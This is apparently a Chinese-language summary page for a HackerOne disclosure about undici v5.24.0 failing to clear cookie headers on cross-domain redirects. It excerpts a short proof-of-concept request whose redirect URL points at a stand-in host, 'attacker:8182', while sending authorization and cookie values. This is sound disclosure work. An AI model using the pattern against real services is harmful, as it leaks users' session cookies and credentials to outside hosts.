Cookie headers are not cleared in cross-domain redirect in undici-fetch
该报告还没有中文解读。
原文摘录
摘自原文（1369 字符中的一小部分）
AFFECTED MODULE ========== undici v5.24.0
原文中的代码
import { request } from 'undici'
const {
statusCode,
headers,
trailers,
body
} = await request('http://anysite.com/redirect.php?url=http://attacker:8182',{
maxRedirections: 3,
headers: {
autHorization: 'test',
cookie: "ddd=dddd"
}}) …默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 Internet Bug Bounty 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @ranjit_p · 版权归作者与 Internet Bug Bounty 所有